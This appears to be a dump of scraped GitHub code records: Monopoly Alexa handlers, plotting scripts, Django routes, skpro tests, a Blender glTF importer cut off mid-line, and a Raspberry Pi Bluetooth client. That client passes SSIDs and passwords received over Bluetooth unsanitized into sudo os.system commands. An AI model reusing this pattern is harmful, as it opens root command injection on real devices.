print(str(result))\n\n# 2\n# 5\n# 1 2 2 1 1\n# 1 2\n# 1 3\n# 3 5\n# 1 4\n# 3\n# 1 3 5\n# 1 3\n# 1 2\n","repo_name":"FaxMachin3/Data-Structures-and-Algorithms","sub_path":"Python/BalancedForest.py","file_name":"BalancedForest.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16679168560","text":"import pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv (r'Fertilizer.csv')\n#df = pd.read_csv (r'Fertilizer2.csv')\n\nprint(df)\n\nsns.set_theme(style=\"whitegrid\")\n\ng = sns.catplot(x=\"time\", y=\"Plant height\", hue=\"Cultivar\", col=\"Fertilizer\",\n capsize=.2, palette=\"YlGnBu_d\", height=6, aspect=.75,\n kind=\"point\", data=df)\ng.despine(left=False)\nplt.show()\n","repo_name":"Aria-Dolatabadian/Plotting-a-three-way-ANOVA","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44249912057","text":"from monopoly_backend import *\nfrom lambda_stuff import *\n\nboard = None\nstarted = False\n\ndef lambda_handler(event, context):\n\n if event['request']['type'] == \"LaunchRequest\":\n return on_launch(event, context)\n elif event['request']['type'] == \"IntentRequest\":\n return intent_router(event, context,)\n\n\ndef on_launch(event, content,):\n return statement(\"Start\", combine_statement(random_statement(ret_launch),random_statement(ask_no_players)))\n\n\ndef intent_router(event, context):\n intent = event['request']['intent']['name']\n\n if intent == \"AMAZON.YesIntent\":\n return Yes_Intent(event, context)\n\n if intent == \"AMAZON.NoIntent\":\n return No_Intent(event, context)\n\n if intent == \"mortgage\":\n return statement(\"Mortgage\",\"You cannot mortgage any property right now.\")\n\n if intent == \"usejailcards\":\n return statement(\"Out Of Jail\", board.get_out_card(board.current_player))\n\n if intent == \"usejailmoney\":\n return statement (\"Out Of Jail\", board.get_out_money(board.current_player))\n\n if intent == \"numberOfPlayers\":\n return numberOfPlayers_intent(event, context)\n\n if intent == \"nextplayer\":\n return nextplayer(event, context)\n\n if intent == \"diceroll\":\n return diceroll_intent(event, context)\n\n if intent == \"account_balance\":\n return accountbalance_intent(event,context)\n\n if intent == \"prop_list\":\n return prop_list_intent(event,context)\n\n if intent == \"buy_house\":\n return statement(\"Buying House\", combine_say_it(board.buy_house(board.current_player)))\n\n if intent == \"AMAZON.CancelIntent\":\n return stop_intent(event, context)\n\n if intent == \"AMAZON.HelpIntent\":\n return help_intent ()\n\n if intent == \"AMAZON.StopIntent\":\n return stop_intent(event, context)\n\n\ndef Yes_Intent(event,context):\n\n global board, started\n started = True\n\n if board.question_id == \"next_player\":\n return diceroll_intent(event, context)\n\n if board.question_id == \"want_to_buy_prop\":\n board.bought_prop(board.current_player)\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"want_to_buy_railroad\":\n board.bought_railroad(board.current_player)\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"want_to_buy_utility\":\n board.bought_utility(board.current_player)\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"jail_card\":\n #board.question_id = \"\"\n return statement(\"Out Of Jail\", board.get_out_card(board.current_player))\n\n if board.question_id == \"jail_money\":\n #board.question_id = \"\"\n return statement(\"Out Of Jail\", board.get_out_money(board.current_player))\n\n if board.question_id == \"buy_house\":\n board.bought_house(board.current_player)\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n return statement(\"Invalid\", random_statement(not_valid))\n\n\ndef No_Intent(event, context):\n\n global board\n if board.question_id == \"want_to_buy_prop\":\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"want_to_buy_railroad\":\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"want_to_buy_utility\":\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"jail_card\":\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"jail_money\":\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n if board.question_id == \"\":\n board.question_id = \"next_player\"\n return nextplayer(event, context)\n\n return statement(\"Invalid\", random_statement(not_valid))\n\n\ndef numberOfPlayers_intent(event, context):\n dialog_state = event['request']['dialogState']\n global board\n\n if dialog_state in (\"STARTED\", \"IN_PROGRESS\"):\n return continue_dialog()\n\n elif dialog_state == \"COMPLETED\":\n slots = event['request']['intent']['slots']\n number = int(slots['number']['value'])\n\n if number in (2, 3, 4):\n\n board = Board(number)\n board.started = True\n board.question_id = \"next_player\"\n board.current_player_index = 0\n board.current_player = board.playerlist[board.current_player_index]\n return statement(\"Confirm,Set Board\", combine_statement(random_statement(confirmation),\n format_statement(random_statement(set_board), number),\n \"Its player one's turn. \"))\n\n elif number < 2:\n return statement(\"Alone\", combine_statement(random_statement(alone), random_statement(ask_again)))\n\n elif number > 4:\n return statement(\"Too many\", combine_statement(random_statement(too_many), random_statement(ask_again)))\n\n else:\n return statement(\"Not valid\", combine_statement(random_statement(not_valid), random_statement(ask_again)))\n\n else:\n return statement(\"Number of players\", \"I need a head count\")\n\n\ndef nextplayer(event,context):\n\n global board\n\n board.current_player_index += 1\n board.current_player = board.playerlist[board.current_player_index % len (board.playerlist)]\n say_curr_player = format_statement(random_statement(next_player_turn),board.current_player.number)\n if board.current_player.jailtime > 0:\n ret_sat = board.jail_check(board.current_player)\n return statement(\"In jail \", combine_statement(say_curr_player,ret_sat))\n return statement(\"Current player\", say_curr_player)\n\n\ndef diceroll_intent(event, context):\n\n rN1 = random.randint(1, 6)\n rN2 = random.randint(1, 6)\n return statement (\"Roll Dice\", combine_statement(\n format_statement_2(random_statement(you_have_rolled),rN1,rN2), combine_say_it(board.playermove(board.current_player, rN1 + rN2))))\n\n\ndef accountbalance_intent(event,context):\n acc_bal = board.current_player.money\n return statement(\"Balance\", format_statement(random_statement(current_balance),acc_bal))\n\n\ndef prop_list_intent(event, context):\n\n say_list = []\n\n for color in board.current_player.proplist:\n for prop in color:\n say_list.append(prop.name)\n for rail in board.current_player.raillist:\n say_list.append(rail.name)\n for ut in board.current_player.utlist:\n say_list.append(ut.name)\n return statement(\"Property List\", combine_say_it(say_list))\n\n\ndef stop_intent(event, context):\n say_it = []\n if started == True :\n\n\n net_worth = 0\n max_net_worth = 0\n player_worth = 0\n\n for player_net_worth in board.playerlist:\n for color in player_net_worth.proplist:\n for prop in color:\n net_worth += prop.cost\n for rail in player_net_worth.raillist:\n net_worth += rail.cost\n for ut in player_net_worth.utlist:\n net_worth += ut.cost\n net_worth += player_net_worth.money\n if net_worth >= max_net_worth:\n max_net_worth = net_worth\n player_worth = player_net_worth.number\n net_worth = 0\n\n say_it.append(format_statement(random_statement(win),player_worth))\n say_it.append(random_statement(finish))\n\n return statement_stop(\"Finish\", combine_say_it(say_it))\n else:\n say_it.append (random_statement (finish_no_start))\n say_it.append (random_statement (finish))\n return statement_stop(\"Finish\", combine_say_it(say_it))","repo_name":"sagnikdas98/Monopoly-Master","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":7898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2912117091","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name = \"index\"),\n path (\"wiki/\", views.get_page, name = \"get_page\"),\n path(\"random\", views.random_page, name = \"random\"),\n path(\"create\", views.create_page, name = \"create\"),\n path(\"search\", views.search_page, name= \"search\"),\n path(\"/edit\", views.edit_page, name = \"edit\")\n]\n","repo_name":"Always4ukittu/CS50","sub_path":"CS50w/wiki/encyclopedia/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24435616923","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*- \n\"\"\"PyBluez simple example rfcomm-client.py\nSimple demonstration of a client application that uses RFCOMM sockets intended\nfor use with rfcomm-server.\nAuthor: Albert Huang \n$Id: rfcomm-client.py 424 2006-08-24 03:35:54Z albert $\n\"\"\"\n\nimport sys\nimport os\nimport threading\nimport bluetooth\nimport time\nfrom MPU6050 import MPU6050\nimport socket\nfrom imutils.video import VideoStream\nimport imagezmq\n\n\nclass NoriClient:\n\tdef __init__(self):\n\t\taddr = None\n\t\tif len(sys.argv) < 2: # 실행 인자가 없을 때\n\t\t\tprint(\"지정된 장치가 없습니다. 근처의 모든 블루투스 기기를 검색합니다.\")\n\t\telse: # 실행 인자로 블루투스 맥주소를 넣을 때\n\t\t\taddr = sys.argv[1]\n\t\t\tprint(\"서버를 검색합니다. {}...\".format(addr))\n\n\t\t# 서비스 검색\n\t\t# SDP (Service Discovery Protocol) 주변에 사용가능한 서비스를 찾는 프로토콜\n\t\t# SDP 에서 서비스의 종류를 구분하기 위해 사용. 서버-클라이언트가 같아야 함.\n\t\tuuid = \"00000004-0000-1000-8000-00805F9B34FB\"\n\t\tservice_matches = bluetooth.find_service(uuid=uuid, address=addr) # 블루투스 서비스 찾기\n\n\t\tif len(service_matches) == 0: # 검색 실패\n\t\t\tprint(\"서버의 서비스를 찾을 수 없습니다.\")\n\t\t\tsys.exit(0)\n\n\t\tfirst_match = service_matches[0] # 검색한 서비스의 정보\n\t\tport = first_match[\"port\"] # 서버 포트번호\n\t\tname = first_match[\"name\"] # 서버 이름\n\t\thost = first_match[\"host\"] # 서버 맥 주소\n\t\tprint(\"port:{}, name:{}, address:{} 연결 중...\".format(port, name, host))\n\n\t\t# 클라이언트 블루투스 소켓 생성\n\t\tsock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n\t\tsock.connect((host, port)) # 서버로 접속 요청\n\t\tprint(\"연결되었습니다.\")\n\n\t\tsendMessage = threading.Thread(target=self.send_tread, args=(sock,))\n\t\treceiveMessage = threading.Thread(target=self.receive_thread, args=(sock,))\n\t\tsendMessage.start()\n\t\treceiveMessage.start()\n\n\tdef send_tread(self, sock):\n\t\t__author__ = 'Geir Istad' # MPU6050_example.py의 내용 - roll, pitch, yaw를 사용하기 위함\n\t\ti2c_bus = 1\n\t\tdevice_address = 0x68\n\t\t# The offsets are different for each device and should be changed\n\t\t# accordingly using a calibration procedure\n\t\tx_accel_offset = -5489\n\t\ty_accel_offset = -1441\n\t\tz_accel_offset = 1305\n\t\tx_gyro_offset = -2\n\t\ty_gyro_offset = -72\n\t\tz_gyro_offset = -5\n\t\tenable_debug_output = True\n\n\t\tmpu = MPU6050(i2c_bus, device_address, x_accel_offset, y_accel_offset,\n\t\t\t\t\t z_accel_offset, x_gyro_offset, y_gyro_offset, z_gyro_offset,\n\t\t\t\t\t enable_debug_output)\n\n\t\tmpu.dmp_initialize()\n\t\tmpu.set_DMP_enabled(True)\n\t\tmpu_int_status = mpu.get_int_status()\n\t\tprint(hex(mpu_int_status))\n\n\t\tpacket_size = mpu.DMP_get_FIFO_packet_size()\n\t\tprint(packet_size)\n\t\tFIFO_count = mpu.get_FIFO_count()\n\t\tprint(FIFO_count)\n\n\t\tcount = 0\n\t\tFIFO_buffer = [0] * 64\n\n\t\tFIFO_count_list = list()\n\t\twhile True:\n\t\t\tFIFO_count = mpu.get_FIFO_count()\n\t\t\tmpu_int_status = mpu.get_int_status()\n\n\t\t\t# If overflow is detected by status or fifo count we want to reset\n\t\t\tif (FIFO_count == 1024) or (mpu_int_status & 0x10):\n\t\t\t\tmpu.reset_FIFO()\n\t\t\t# print('overflow!')\n\t\t\t# Check if fifo data is ready\n\t\t\telif (mpu_int_status & 0x02):\n\t\t\t\t# Wait until packet_size number of bytes are ready for reading, default\n\t\t\t\t# is 42 bytes\n\t\t\t\twhile FIFO_count < packet_size:\n\t\t\t\t\tFIFO_count = mpu.get_FIFO_count()\n\t\t\t\tFIFO_buffer = mpu.get_FIFO_bytes(packet_size)\n\t\t\t\taccel = mpu.DMP_get_acceleration_int16(FIFO_buffer)\n\t\t\t\tquat = mpu.DMP_get_quaternion_int16(FIFO_buffer)\n\t\t\t\tgrav = mpu.DMP_get_gravity(quat)\n\t\t\t\troll_pitch_yaw = mpu.DMP_get_euler_roll_pitch_yaw(quat, grav)\n\t\t\t\t# print('roll: ' + str(roll_pitch_yaw.x))\n\t\t\t\t# print('pitch: ' + str(roll_pitch_yaw.y))\n\t\t\t\t# print('yaw: ' + str(roll_pitch_yaw.z))\n\t\t\t\tmessage = str(int(roll_pitch_yaw.x)) + ',' + str(int(roll_pitch_yaw.y)) + ',' + str(\n\t\t\t\t\tint(roll_pitch_yaw.z)) # roll, pitch, yaw를 합쳐서 보내기\n\t\t\t\tlength = len(message)\n\t\t\t\tsock.sendall(length.to_bytes(4, byteorder=\"little\"))\n\t\t\t\tsock.sendall(message.encode('utf-8'))\n\t\t\t\t# print('roll:'+str(int(roll_pitch_yaw.x))+' pitch:'+str(int(roll_pitch_yaw.y))+' yaw:'+str(int(roll_pitch_yaw.z)))\n\t\t\t\ttime.sleep(0.08) # 0.1초 마다 전송\n\n\tdef receive_thread(self, sock):\n\t\twhile True:\n\t\t\tdata = sock.recv(4)\n\t\t\tlength = int.from_bytes(data, \"little\")\n\t\t\tdata = sock.recv(length)\n\t\t\tmessage = data.decode('utf-8')\n\t\t\tprint('receive: ', message)\n\t\t\tif 'wifi' in message:\n\t\t\t\tprint(message)\n\t\t\t\tIRCamera(sock, message)\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint('PC를 와이파이에 연결 후 다시 시도해 주세요.')\n\t\t\t\tbreak\n\n\nclass IRCamera:\n\tdef __init__(self, sock, wifi_list):\n\t\t# 라즈베리파이에서 와이파이 스캔을 통해 잡히는 SSID 리스트\n\t\tself.scan_wifi_ssid_list = self.scan_wifi() # 와이파이 스캔\n\t\tif self.scan_wifi_ssid_list == []:\n\t\t\tprint('와이파이를 찾지 못했습니다.')\n\t\tprint('연결 가능한 WiFi: ', self.scan_wifi_ssid_list)\n\n\n\t\tprint(wifi_list)\n\t\twifi_list = wifi_list.split(':')[1]\n\t\twifi_list = wifi_list.split(',')\n\n\t\tself.wifi_ssid = wifi_list[0]\n\t\tself.wifi_pw = wifi_list[1]\n\t\tself.ip_address = wifi_list[2]\n\n\t\tself.wifi_connect() # 와이파이 연결\n\t\tself.send_wifi_information(sock) # 블루투스 통신으로 연결 가능한 와이파이 리스트를 보냄\n\n\t\t# 카메라 영상 송신\n\t\tsender = imagezmq.ImageSender(connect_to='tcp://' + self.ip_address + ':5555') # ImageSender 초기화 해서 5555포트로 접속 한다\n\t\trpi_name = socket.gethostname() # send RPi hostname with each image\n\t\tpicam = VideoStream(usePiCamera=True).start()\n\t\ttime.sleep(2.0)\n\n\t\twhile True:\n\t\t\timage = picam.read()\n\t\t\tsender.send_image(rpi_name, image)\n\t\n\tdef scan_wifi(self):\n\t\twifi_list = []\n\t\twifi = os.popen('sudo iw wlan0 scan').read()\n\t\twifi = wifi.split('\\n')\n\t\tfor i in wifi:\n\t\t\tif 'SSID' in i:\n\t\t\t\tif '*' in i:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\ttemp = i.split('SSID: ')\n\t\t\t\t\twifi_list.append(temp[1])\n\t\treturn wifi_list\n\n\tdef current_wifi(self):\n\t\twifi_current = os.popen('sudo iwconfig').read() # 현재 연결된 wifi\n\t\tif 'ESSID' in wifi_current:\n\t\t\ttemp = wifi_current.split('ESSID:')[1].split('\\n')[0].rstrip() # ssid를 추출함\n\t\t\twifi_current = temp[1:-1]\n\t\telse:\n\t\t\twifi_current = 'None'\n\t\t\tprint('연결된 WiFi 없음')\n\n\t\treturn wifi_current\n\n\tdef send_wifi_information(self, sock):\n\t\twifi_current = self.current_wifi()\n\t\ttemp = 'wifi:' + wifi_current\n\t\tfor j in self.scan_wifi_ssid_list:\n\t\t\ttemp = temp + ',' + j\n\t\tmessage = temp\n\t\tlength = len(message)\n\t\tsock.sendall(length.to_bytes(4, byteorder=\"little\"))\n\t\tsock.sendall(message.encode('utf-8'))\n\n\tdef wifi_connect(self):\n\t\twifi_current = self.current_wifi()\n\t\tif self.wifi_ssid in self.scan_wifi_ssid_list: # PC에 연결된 WiFi의 SSID가 라즈베리파이가 찾은 WiFi의 SSID 리스트 중에 있다면 실행\n\t\t\tif self.wifi_ssid == wifi_current: # 이미 PC의 WiFi와 라즈베리파이의 WiFi가 같다면 연결하지않음\n\t\t\t\tprint('와이파이가 이미 연결되어 있음 ', wifi_current)\n\t\t\t\tpass\n\t\t\t\n\t\t\telse:\n\t\t\t\tprint('와이파이 접속중....')\n\t\t\t\tos.system('sudo ifconfig wlan0 up') # 무선랜 ON\n\t\t\t\tos.system('sudo killall wpa_supplicant') # 현재 실행중인 와이파이 OFF\n\n\t\t\t\t# 암호가 있는 경우(주의사항: 랜카드가 WiFi 5G 신호를 잡지 못함)\n\t\t\t\tos.system('sudo wpa_passphrase ' + self.wifi_ssid + ' ' + self.wifi_pw + '> wifi/wpa_psk.conf') # 연결 시 사용할 psk 저장\n\t\t\t\tos.system('sudo wpa_supplicant -B -i wlan0 -c wifi/wpa_psk.conf') # 와이파이 연결\n\t\t\t\tos.system('sudo dhclient wlan0') # ip 할당받기\n\t\n\t\t\t\t# 암호가 없는 경우\n\t\t\t\t\"\"\" 현재 근처에 바밀번호가 없는 와이파이가 없어서 Test 불가\n\t\t\t\tos.system('sudo iwconfig wlan0 essid' + self.wifi_name + '')\n\t\t\t\tos.system('dhclient wlan0')\n\t\t\t\t\"\"\"\n\t\telse:\n\t\t\tprint('PC에 연결된 WiFi를 찾지 못했습니다.')\n\n\nif __name__ == \"__main__\":\n\tclient = NoriClient()\n\n\n\n# print('연결 끊어짐')\n# sock.close()\n\n\n","repo_name":"tkp12345/NoriController","sub_path":"nori_client/blueclient4.py","file_name":"blueclient4.py","file_ext":"py","file_size_in_byte":8063,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"43395212909","text":"__author__ = [\"fkiraly\"]\n\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom sklearn.datasets import load_diabetes\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import KFold, ShuffleSplit\n\nfrom skpro.benchmarking.evaluate import evaluate\nfrom skpro.metrics import CRPS, EmpiricalCoverage, LogLoss, PinballLoss\nfrom skpro.regression.residual import ResidualDouble\nfrom skpro.utils.validation._dependencies import _check_soft_dependencies\n\n\ndef _check_evaluate_output(out, cv, y, scoring):\n assert isinstance(out, pd.DataFrame)\n\n # Check column names.\n assert set(out.columns) == {\n \"fit_time\",\n \"len_y_train\",\n \"pred_time\",\n f\"test_{scoring.name}\",\n }\n\n # Check number of rows against number of splits.\n n_splits = cv.get_n_splits(y)\n assert out.shape[0] == n_splits\n\n # Check that all timings are positive.\n assert np.all(out.filter(like=\"_time\") >= 0)\n\n # Check training set sizes\n assert np.all(out[\"len_y_train\"] > 0)\n\n\ndef _get_pred_method(scoring):\n \"\"\"Get the prediction method for a given scoring function.\"\"\"\n pred_type = {\n \"pred_quantiles\": \"predict_quantiles\",\n \"pred_interval\": \"predict_interval\",\n \"pred_proba\": \"predict_proba\",\n None: \"predict\",\n }\n\n if hasattr(scoring, \"get_tag\"):\n scitype = scoring.get_tag(\"scitype:y_pred\", raise_error=False)\n else:\n scitype = None\n\n return pred_type[scitype]\n\n\nCVs = [\n KFold(n_splits=3),\n ShuffleSplit(n_splits=3, test_size=0.5, random_state=42),\n]\n\nMETRICS = [CRPS, EmpiricalCoverage, LogLoss, PinballLoss]\n\n\n@pytest.mark.parametrize(\"cv\", CVs)\n@pytest.mark.parametrize(\"scoring\", METRICS)\n@pytest.mark.parametrize(\"backend\", [None, \"dask\", \"loky\", \"threading\"])\ndef test_evaluate_common_configs(cv, scoring, backend):\n \"\"\"Test evaluate common configs.\"\"\"\n # skip test for dask backend if dask is not installed\n if backend == \"dask\" and not _check_soft_dependencies(\"dask\", severity=\"none\"):\n return None\n\n X, y = load_diabetes(return_X_y=True, as_frame=True)\n y = pd.DataFrame(y)\n estimator = ResidualDouble(LinearRegression(), min_scale=1)\n\n scoring = scoring()\n\n out = evaluate(\n estimator=estimator,\n X=X,\n y=y,\n cv=cv,\n scoring=scoring,\n backend=backend,\n )\n _check_evaluate_output(out, cv, y, scoring)\n\n # check scoring\n actual = out.loc[:, f\"test_{scoring.name}\"]\n\n n_splits = cv.get_n_splits(X)\n expected = np.empty(n_splits)\n\n for i, (train, test) in enumerate(cv.split(y)):\n X_train, y_train = X.iloc[train], y.iloc[train]\n X_test, y_test = X.iloc[test], y.iloc[test]\n est = estimator.clone()\n est.fit(X_train, y_train)\n\n pred_method = _get_pred_method(scoring)\n y_pred = getattr(est, pred_method)(X_test)\n expected[i] = scoring(y_test, y_pred, y_train=y_train)\n\n np.testing.assert_array_equal(actual, expected)\n","repo_name":"sktime/skpro","sub_path":"skpro/benchmarking/tests/test_evaluate.py","file_name":"test_evaluate.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"48"} +{"seq_id":"16510650887","text":"import bpy\nfrom mathutils import Matrix\nimport numpy as np\nfrom ...io.imp.gltf2_io_user_extensions import import_user_extensions\nfrom ...io.com.gltf2_io_debug import print_console\nfrom ...io.imp.gltf2_io_binary import BinaryData\nfrom ...io.com.gltf2_io_constants import DataType, ComponentType\nfrom ...blender.com.gltf2_blender_conversion import get_attribute_type\nfrom ..com.gltf2_blender_extras import set_extras\nfrom .gltf2_blender_material import BlenderMaterial\nfrom .gltf2_io_draco_compression_extension import decode_primitive\n\nclass BlenderMesh():\n \"\"\"Blender Mesh.\"\"\"\n def __new__(cls, *args, **kwargs):\n raise RuntimeError(\"%s should not be instantiated\" % cls)\n\n @staticmethod\n def create(gltf, mesh_idx, skin_idx):\n \"\"\"Mesh creation.\"\"\"\n return create_mesh(gltf, mesh_idx, skin_idx)\n\n\n# Maximum number of TEXCOORD_n/COLOR_n sets to import\nUV_MAX = 8\nCOLOR_MAX = 8\n\n\ndef create_mesh(gltf, mesh_idx, skin_idx):\n pymesh = gltf.data.meshes[mesh_idx]\n\n import_user_extensions('gather_import_mesh_before_hook', gltf, pymesh)\n\n name = pymesh.name or 'Mesh_%d' % mesh_idx\n mesh = bpy.data.meshes.new(name)\n\n # Temporarily parent the mesh to an object.\n # This is used to set skin weights and shapekeys.\n tmp_ob = None\n try:\n tmp_ob = bpy.data.objects.new('##gltf-import:tmp-object##', mesh)\n do_primitives(gltf, mesh_idx, skin_idx, mesh, tmp_ob)\n set_extras(mesh, gltf.data.meshes[mesh_idx].extras, exclude=['targetNames'])\n\n finally:\n if tmp_ob:\n bpy.data.objects.remove(tmp_ob)\n\n import_user_extensions('gather_import_mesh_after_hook', gltf, pymesh, mesh)\n\n return mesh\n\n\ndef do_primitives(gltf, mesh_idx, skin_idx, mesh, ob):\n \"\"\"Put all primitive data into the mesh.\"\"\"\n pymesh = gltf.data.meshes[mesh_idx]\n\n # Use a class here, to be able to pass data by reference to hook (to be able to change them inside hook)\n class IMPORT_mesh_options:\n def __init__(self, skinning: bool = True, skin_into_bind_pose: bool = True):\n self.skinning = skinning\n self.skin_into_bind_pose = skin_into_bind_pose\n\n mesh_options = IMPORT_mesh_options()\n import_user_extensions('gather_import_mesh_options', gltf, mesh_options, pymesh, skin_idx)\n\n # Scan the primitives to find out what we need to create\n\n has_normals = False\n num_uvs = 0\n num_cols = 0\n num_joint_sets = 0\n attributes = set({})\n attribute_data = []\n attribute_type = {}\n attribute_component_type = {}\n\n for prim in pymesh.primitives:\n if 'POSITION' not in prim.attributes:\n continue\n\n if gltf.import_settings['import_shading'] == \"NORMALS\":\n if 'NORMAL' in prim.attributes:\n has_normals = True\n\n if skin_idx is not None:\n i = 0\n while ('JOINTS_%d' % i) in prim.attributes and \\\n ('WEIGHTS_%d' % i) in prim.attributes:\n i += 1\n num_joint_sets = max(i, num_joint_sets)\n\n i = 0\n while i < UV_MAX and ('TEXCOORD_%d' % i) in prim.attributes: i += 1\n num_uvs = max(i, num_uvs)\n\n i = 0\n while i < COLOR_MAX and ('COLOR_%d' % i) in prim.attributes: i += 1\n num_cols = max(i, num_cols)\n\n custom_attrs = [k for k in prim.attributes if k.startswith('_')]\n for attr in custom_attrs:\n if not attr in attributes:\n attribute_type[attr] = gltf.data.accessors[prim.attributes[attr]].type\n attribute_component_type[attr] = gltf.data.accessors[prim.attributes[attr]].component_type\n attribute_data.append(\n np.empty(\n dtype=ComponentType.to_numpy_dtype(attribute_component_type[attr]),\n shape=(0, DataType.num_elements(attribute_type[attr])))\n )\n attributes.update(set(custom_attrs))\n\n\n num_shapekeys = sum(sk_name is not None for sk_name in pymesh.shapekey_names)\n\n # -------------\n # We'll process all the primitives gathering arrays to feed into the\n # various foreach_set function that create the mesh data.\n\n num_faces = 0 # total number of faces\n vert_locs = np.empty(dtype=np.float32, shape=(0,3)) # coordinate for each vert\n vert_normals = np.empty(dtype=np.float32, shape=(0,3)) # normal for each vert\n edge_vidxs = np.array([], dtype=np.uint32) # vertex_index for each loose edge\n loop_vidxs = np.array([], dtype=np.uint32) # vertex_index for each loop\n loop_uvs = [\n np.empty(dtype=np.float32, shape=(0,2)) # UV for each loop for each layer\n for _ in range(num_uvs)\n ]\n loop_cols = [\n np.empty(dtype=np.float32, shape=(0,4)) # color for each loop for each layer\n for _ in range(num_cols)\n ]\n vert_joints = [\n np.empty(dtype=np.uint32, shape=(0,4)) # 4 joints for each vert for each set\n for _ in range(num_joint_sets)\n ]\n vert_weights = [\n np.empty(dtype=np.float32, shape=(0,4)) # 4 weights for each vert for each set\n for _ in range(num_joint_sets)\n ]\n sk_vert_locs = [\n np.empty(dtype=np.float32, shape=(0,3)) # coordinate for each vert for each shapekey\n for _ in range(num_shapekeys)\n ]\n\n for prim in pymesh.primitives:\n prim.num_faces = 0\n\n if 'POSITION' not in prim.attributes:\n continue\n\n vert_index_base = len(vert_locs)\n\n if prim.extensions is not None and 'KHR_draco_mesh_compression' in prim.extensions:\n print_console('INFO', 'Draco Decoder: Decode primitive {}'.format(pymesh.name or '[unnamed]'))\n decode_primitive(gltf, prim)\n\n import_user_extensions('gather_import_decode_primitive', gltf, pymesh, prim, skin_idx)\n\n if prim.indices is not None:\n indices = BinaryData.decode_accessor(gltf, prim.indices)\n indices = indices.reshape(len(indices))\n else:\n num_verts = gltf.data.accessors[prim.attributes['POSITION']].count\n indices = np.arange(0, num_verts, dtype=np.uint32)\n\n mode = 4 if prim.mode is None else prim.mode\n points, edges, tris = points_edges_tris(mode, indices)\n if points is not None:\n indices = points\n elif edges is not None:\n indices = edges\n else:\n indices = tris\n\n # We'll add one vert to the arrays for each index used in indices\n unique_indices, inv_indices = np.unique(indices, return_inverse=True)\n\n vs = BinaryData.decode_accessor(gltf, prim.attributes['POSITION'], cache=True)\n vert_locs = np.concatenate((vert_locs, vs[unique_indices]))\n\n if has_normals:\n if 'NORMAL' in prim.attributes:\n ns = BinaryData.decode_accessor(gltf, prim.attributes['NORMAL'], cache=True)\n ns = ns[unique_indices]\n else:\n ns = np.zeros((len(unique_indices), 3), dtype=np.float32)\n vert_normals = np.concatenate((vert_normals, ns))\n\n for i in range(num_joint_sets):\n if ('JOINTS_%d' % i) in prim.attributes and ('WEIGHTS_%d' % i) in prim.attributes:\n js = BinaryData.decode_accessor(gltf, prim.attributes['JOINTS_%d' % i], cache=True)\n ws = BinaryData.decode_accessor(gltf, prim.attributes['WEIGHTS_%d' % i], cache=True)\n js = js[unique_indices]\n ws = ws[unique_indices]\n else:\n js = np.zeros((len(unique_indices), 4), dtype=np.uint32)\n ws = np.zeros((len(unique_indices), 4), dtype=np.float32)\n vert_joints[i] = np.concatenate((vert_joints[i], js))\n vert_weights[i] = np.concatenate((vert_weights[i], ws))\n\n sk_i = 0\n for sk, sk_name in enumerate(pymesh.shapekey_names):\n if sk_name is None:\n continue\n if prim.targets and 'POSITION' in prim.targets[sk]:\n morph_vs = BinaryData.decode_accessor(gltf, prim.targets[sk]['POSITION'], cache=True)\n morph_vs = morph_vs[unique_indices]\n else:\n morph_vs = np.zeros((len(unique_indices), 3), dtype=np.float32)\n sk_vert_locs[sk_i] = np.concatenate((sk_vert_locs[sk_i], morph_vs))\n sk_i += 1\n\n # inv_indices are the indices into the verts just for this prim;\n # calculate indices into the overall verts array\n prim_vidxs = inv_indices.astype(np.uint32, copy=False)\n prim_vidxs += vert_index_base # offset for verts from previous prims\n\n if edges is not None:\n edge_vidxs = np.concatenate((edge_vidxs, prim_vidxs))\n\n if tris is not None:\n prim.num_faces = len(indices) // 3\n num_faces += prim.num_faces\n\n loop_vidxs = np.concatenate((loop_vidxs, prim_vidxs))\n\n for uv_i in range(num_uvs):\n if ('TEXCOORD_%d' % uv_i) in prim.attributes:\n uvs = BinaryData.decode_accessor(gltf, prim.attributes['TEXCOORD_%d' % uv_i], cache=True)\n uvs = uvs[indices]\n else:\n uvs = np.zeros((len(indices), 2), dtype=np.float32)\n loop_uvs[uv_i] = np.concatenate((loop_uvs[uv_i], uvs))\n\n for col_i in range(num_cols):\n if ('COLOR_%d' % col_i) in prim.attributes:\n cols = BinaryData.decode_accessor(gltf, prim.attributes['COLOR_%d' % col_i], cache=True)\n cols = cols[indices]\n if cols.shape[1] == 3:\n cols = colors_rgb_to_rgba(cols)\n else:\n cols = np.ones((len(indices), 4), dtype=np.float32)\n loop_cols[col_i] = 